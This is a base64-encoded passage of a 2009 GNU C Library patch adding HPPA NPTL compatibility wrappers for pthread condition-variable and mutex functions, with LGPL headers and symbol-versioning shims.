I2luY2x1ZGUgInB0aHJlYWRQLmgiCisjaW5jbHVkZSA8c2hsaWItY29tcGF0
Lmg+CisKKyNpZiBTSExJQl9DT01QQVQobGlicHRocmVhZCwgR0xJQkNfMl8z
XzIsIEdMSUJDXzJfOSkKK2ludAorX19wdGhyZWFkX2NvbmRfc2lnbmFsX2hw
cGFfMl8zXzIgKHB0aHJlYWRfY29uZF9ocHBhXzJfM18yX3QgKnZhcikKK3sK
KyAgY29tcGF0X2xvY2sgKHZhcik7CisgIGNvbXBhdF9tYWxsb2MgKHZhcik7
CisgIGNvbXBhdF91bmxvY2sgKHZhcik7CisgIHJldHVybiBfX3B0aHJlYWRf
Y29uZF9zaWduYWwodmFyLT5jb21wYXQpOworfQorY29tcGF0X3N5bWJvbCAo
bGlicHRocmVhZCwgX19wdGhyZWFkX2NvbmRfc2lnbmFsX2hwcGFfMl8zXzIs
IAorCSAgICAgICBwdGhyZWFkX2NvbmRfc2lnbmFsLCBHTElCQ18yXzNfMik7
CisjZW5kaWYKKwpJbmRleDogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfY29uZF90aW1lZHdhaXQuYwo9PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lz
di9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9jb25kX3RpbWVk
d2FpdC5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9u
cHRsL29sZF9ocHBhX3B0aHJlYWRfY29uZF90aW1lZHdhaXQuYwotLS0gL2Rl
di9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAwMDAKKysrIHN5c2RlcHMv
dW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFkX2Nv
bmRfdGltZWR3YWl0LmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAt
MCwwICsxLDQ0IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0
d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBv
ZiB0aGUgR05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxv
cyBPJ0RvbmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5Lgor
CisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3Ug
Y2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRl
ciB0aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMK
KyAgIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJl
IEZvdW5kYXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExp
Y2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24u
CisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRo
ZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9V
VCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJy
YW50eSBvZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEg
UEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBH
ZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAg
IFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBM
ZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0
aGUgR05VIEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQor
ICAgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNl
LCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAg
Ki8KKworI2luY2x1ZGUgPGVycm5vLmg+CisjaW5jbHVkZSA8dGltZS5oPgor
I2luY2x1ZGUgInB0aHJlYWRQLmgiCisKKyNpbmNsdWRlIDxzaGxpYi1jb21w
YXQuaD4KKworI2lmIFNITElCX0NPTVBBVChsaWJwdGhyZWFkLCBHTElCQ18y
XzNfMiwgR0xJQkNfMl85KQoraW50CitfX3B0aHJlYWRfY29uZF90aW1lZHdh
aXRfaHBwYV8yXzNfMiAocHRocmVhZF9jb25kX2hwcGFfMl8zXzJfdCAqdmFy
LAorCQkJCSAgICAgcHRocmVhZF9tdXRleF9ocHBhXzJfMF90ICptdXRleCwK
KwkJCQkgICAgIGNvbnN0IHN0cnVjdCB0aW1lc3BlYyAqYWJzdGltZSkKK3sK
KyAgY29tcGF0X2xvY2sgKHZhcik7CisgIGNvbXBhdF9sb2NrIChtdXRleCk7
CisgIGNvbXBhdF9tYWxsb2MgKHZhcik7CisgIGNvbXBhdF9tYWxsb2MgKG11
dGV4KTsKKyAgY29tcGF0X211dGV4X2NvcHkgKG11dGV4KTsKKyAgY29tcGF0
X3VubG9jayAobXV0ZXgpOworICBjb21wYXRfdW5sb2NrICh2YXIpOworICBy
ZXR1cm4gX19wdGhyZWFkX2NvbmRfdGltZWR3YWl0ICh2YXItPmNvbXBhdCwg
bXV0ZXgtPmNvbXBhdCwgYWJzdGltZSk7Cit9Citjb21wYXRfc3ltYm9sIChs
aWJwdGhyZWFkLCBfX3B0aHJlYWRfY29uZF90aW1lZHdhaXRfaHBwYV8yXzNf
MiwgCisJICAgICAgIHB0aHJlYWRfY29uZF90aW1lZHdhaXQsIEdMSUJDXzJf
M18yKTsKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51
eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9jb25kX3dhaXQuYwo9PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lz
di9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9jb25kX3dhaXQu
YwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9v
bGRfaHBwYV9wdGhyZWFkX2NvbmRfd2FpdC5jCi0tLSAvZGV2L251bGwJMSBK
YW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5c3Yv
bGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfY29uZF93YWl0LmMJ
MiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsxLDQxIEBACisv
KiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9u
LCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGli
cmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0RvbmVsbCA8Y2Fy
bG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBUaGUgR05VIEMg
TGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0
ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2Yg
dGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYXMg
cHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVp
dGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5
b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUg
QyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQg
d2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7
IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgorICAgTUVS
Q0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQ
T1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBM
aWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91bGQgaGF2
ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQ
dWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFy
eTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdhcmUgRm91
bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJv
c3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKworI2luY2x1ZGUg
PGVycm5vLmg+CisjaW5jbHVkZSAicHRocmVhZFAuaCIKKyNpbmNsdWRlIDxz
aGxpYi1jb21wYXQuaD4KKworI2lmIFNITElCX0NPTVBBVChsaWJwdGhyZWFk
LCBHTElCQ18yXzNfMiwgR0xJQkNfMl85KQoraW50CitfX3B0aHJlYWRfY29u
ZF93YWl0X2hwcGFfMl8zXzIgKHB0aHJlYWRfY29uZF9ocHBhXzJfM18yX3Qg
KnZhciwKKwkJCQlwdGhyZWFkX211dGV4X2hwcGFfMl8wX3QgKm11dGV4KQor
eworICBjb21wYXRfbG9jayAodmFyKTsKKyAgY29tcGF0X2xvY2sgKG11dGV4
KTsKKyAgY29tcGF0X21hbGxvYyAodmFyKTsKKyAgY29tcGF0X21hbGxvYyAo
bXV0ZXgpOworICBjb21wYXRfbXV0ZXhfY29weSAobXV0ZXgpOworICBjb21w
YXRfdW5sb2NrIChtdXRleCk7CisgIGNvbXBhdF91bmxvY2sgKHZhcik7Cisg
IHJldHVybiBfX3B0aHJlYWRfY29uZF93YWl0ICh2YXItPmNvbXBhdCwgbXV0
ZXgtPmNvbXBhdCk7Cit9Citjb21wYXRfc3ltYm9sIChsaWJwdGhyZWFkLCBf
X3B0aHJlYWRfY29uZF93YWl0X2hwcGFfMl8zXzIsIAorCSAgICAgICBwdGhy
ZWFkX2NvbmRfd2FpdCwgR0xJQkNfMl8zXzIpOworI2VuZGlmCisKSW5kZXg6
IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9w
dGhyZWFkX211dGV4X2Rlc3Ryb3kuYwo9PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwv
b2xkX2hwcGFfcHRocmVhZF9tdXRleF9kZXN0cm95LmMKZGlmZiAtTiBzeXNk
ZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVh
ZF9tdXRleF9kZXN0cm95LmMKLS0tIC9kZXYvbnVsbAkxIEphbiAxOTcwIDAw
OjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBh
L25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRleF9kZXN0cm95LmMJMiBBcHIg
MjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsxLDQwIEBACisvKiBDb3B5
cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMu
CisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4K
KyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0RvbmVsbCA8Y2FybG9zQGNv
ZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBUaGUgR05VIEMgTGlicmFy
eSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBh
bmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdO
VSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYXMgcHVibGlz
aGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlcgor
ICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9w
dGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJy
YXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBi
ZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhv
dXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgorICAgTUVSQ0hBTlRB
QklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAg
U2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNl
IGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNl
aXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMK
KyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFyeTsgaWYg
bm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdhcmUgRm91bmRhdGlv
biwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3Rvbiwg
TUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKworI2luY2x1ZGUgPGVycm5v
Lmg+CisjaW5jbHVkZSAicHRocmVhZFAuaCIKKyNpbmNsdWRlIDxzaGxpYi1j
b21wYXQuaD4KKworI2lmIFNITElCX0NPTVBBVChsaWJwdGhyZWFkLCBHTElC
Q18yXzAsIEdMSUJDXzJfOSkKK2ludAorX19wdGhyZWFkX211dGV4X2Rlc3Ry
b3lfaHBwYV8yXzAgKHB0aHJlYWRfbXV0ZXhfaHBwYV8yXzBfdCAqdmFyKQor
eworICBpbnQgcmV0OworICBpZiAoY29tcGF0X3ByZXNlbnQgKHZhcikpCisg
ICAgeworICAgICAgcmV0ID0gX19wdGhyZWFkX211dGV4X2Rlc3Ryb3kodmFy
LT5jb21wYXQpOworICAgICAgY29tcGF0X2ZyZWUgKHZhcik7CisgICAgICBy
ZXR1cm4gcmV0OworICAgIH0KKyAgcmV0dXJuIDA7Cit9Citjb21wYXRfc3lt
Ym9sIChsaWJwdGhyZWFkLCBfX3B0aHJlYWRfbXV0ZXhfZGVzdHJveV9ocHBh
XzJfMCwgCisJICAgICAgIHB0aHJlYWRfbXV0ZXhfZGVzdHJveSwgR0xJQkNf
Ml8wKTsKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51
eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRleF9pbml0LmMKPT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfbXV0ZXhfaW5p
dC5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRs
L29sZF9ocHBhX3B0aHJlYWRfbXV0ZXhfaW5pdC5jCi0tLSAvZGV2L251bGwJ
MSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfbXV0ZXhfaW5p
dC5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAKQEAgLTAsMCArMSwzNyBA
QAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZyZWUgU29mdHdhcmUgRm91bmRh
dGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBD
IExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBDYXJsb3MgTydEb25lbGwg
PGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwgMjAwOS4KKworICAgVGhlIEdO
VSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3Ry
aWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1z
IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNl
IGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9u
OyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNlbnNlLCBvciAo
YXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUg
R05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0
IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJB
TlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKKyAg
IE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIg
UFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJs
aWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxk
IGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVy
YWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExp
YnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJl
IEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMw
LCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICovCisKKyNpbmNs
dWRlIDxlcnJuby5oPgorI2luY2x1ZGUgInB0aHJlYWRQLmgiCisjaW5jbHVk
ZSA8c2hsaWItY29tcGF0Lmg+CisKKyNpZiBTSExJQl9DT01QQVQobGlicHRo
cmVhZCwgR0xJQkNfMl8wLCBHTElCQ18yXzkpCitpbnQKK19fcHRocmVhZF9t
dXRleF9pbml0X2hwcGFfMl8wIChwdGhyZWFkX211dGV4X2hwcGFfMl8wX3Qg
KnZhciwKKwkJCSAgICAgICBjb25zdCBwdGhyZWFkX211dGV4YXR0cl90ICph
dHRyKQoreworICAvKiBBbGwgb3RoZXIgY29tcGF0IGZ1bmN0aW9ucyBleHBl
Y3QgYW4gaW5pdGlhbGl6ZWQgbG9jay4gICovCisgIGNvbXBhdF9pbml0ICh2
YXIpOworICBjb21wYXRfbWFsbG9jX25vbG9jayAodmFyKTsKKyAgcmV0dXJu
IF9fcHRocmVhZF9tdXRleF9pbml0ICh2YXItPmNvbXBhdCwgYXR0cik7Cit9
Citjb21wYXRfc3ltYm9sIChsaWJwdGhyZWFkLCBfX3B0aHJlYWRfbXV0ZXhf
aW5pdF9ocHBhXzJfMCwgcHRocmVhZF9tdXRleF9pbml0LAorCSAgICAgICBH
TElCQ18yXzApOworI2VuZGlmCisKSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2
L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFkX211dGV4X2xvY2su
Ywo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3Vu
aXgvc3lzdi9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRl
eF9sb2NrLmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBh
L25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRleF9sb2NrLmMKLS0tIC9kZXYv
bnVsbAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3Vu
aXgvc3lzdi9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRl
eF9sb2NrLmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsx
LDM3IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUg
R05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0Rv
bmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBU
aGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJl
ZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUg
dGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExp
Y2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5k
YXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2Us
IG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAg
IFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3Bl
IHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkg
V0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBv
ZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElD
VUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFs
IFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBz
aG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIg
R2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05V
IEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29m
dHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0
ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKwor
I2luY2x1ZGUgPGVycm5vLmg+CisjaW5jbHVkZSAicHRocmVhZFAuaCIKKyNp
bmNsdWRlIDxzaGxpYi1jb21wYXQuaD4KKworI2lmIFNITElCX0NPTVBBVChs
aWJwdGhyZWFkLCBHTElCQ18yXzAsIEdMSUJDXzJfOSkKK2ludAorX19wdGhy
ZWFkX211dGV4X2xvY2tfaHBwYV8yXzAgKHB0aHJlYWRfbXV0ZXhfaHBwYV8y
XzBfdCAqdmFyKQoreworICBjb21wYXRfbG9jayAodmFyKTsKKyAgY29tcGF0
X21hbGxvYyAodmFyKTsKKyAgY29tcGF0X211dGV4X2NvcHkgKHZhcik7Cisg
IGNvbXBhdF91bmxvY2sgKHZhcik7CisgIHJldHVybiBfX3B0aHJlYWRfbXV0
ZXhfbG9jayAodmFyLT5jb21wYXQpOworfQorY29tcGF0X3N5bWJvbCAobGli
cHRocmVhZCwgX19wdGhyZWFkX211dGV4X2xvY2tfaHBwYV8yXzAsIHB0aHJl
YWRfbXV0ZXhfbG9jaywKKwkgICAgICAgR0xJQkNfMl8wKTsKKyNlbmRpZgor
CkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvb2xk
X2hwcGFfcHRocmVhZF9tdXRleF90aW1lZGxvY2suYwo9PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRleF90aW1lZGxvY2suYwpk
aWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRf
aHBwYV9wdGhyZWFkX211dGV4X3RpbWVkbG9jay5jCi0tLSAvZGV2L251bGwJ
MSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfbXV0ZXhfdGlt
ZWRsb2NrLmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsx
LDQwIEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUg
R05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0Rv
bmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBU
aGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJl
ZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUg
dGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExp
Y2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5k
YXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2Us
IG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAg
IFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3Bl
IHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkg
V0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBv
ZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElD
VUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFs
IFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBz
aG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIg
R2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05V
IEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29m
dHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0
ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKwor
I2luY2x1ZGUgPGVycm5vLmg+CisjaW5jbHVkZSA8dGltZS5oPgorI2luY2x1
ZGUgInB0aHJlYWRQLmgiCisKKyNpbmNsdWRlIDxzaGxpYi1jb21wYXQuaD4K
KworI2lmIFNITElCX0NPTVBBVChsaWJwdGhyZWFkLCBHTElCQ18yXzAsIEdM
SUJDXzJfOSkKK2ludAorX19wdGhyZWFkX211dGV4X3RpbWVkbG9ja19ocHBh
XzJfMCAocHRocmVhZF9tdXRleF9ocHBhXzJfMF90ICp2YXIsCisJCQkJICAg
IGNvbnN0IHN0cnVjdCB0aW1lc3BlYyBhYnNfdGltZW91dCkKK3sKKyAgY29t
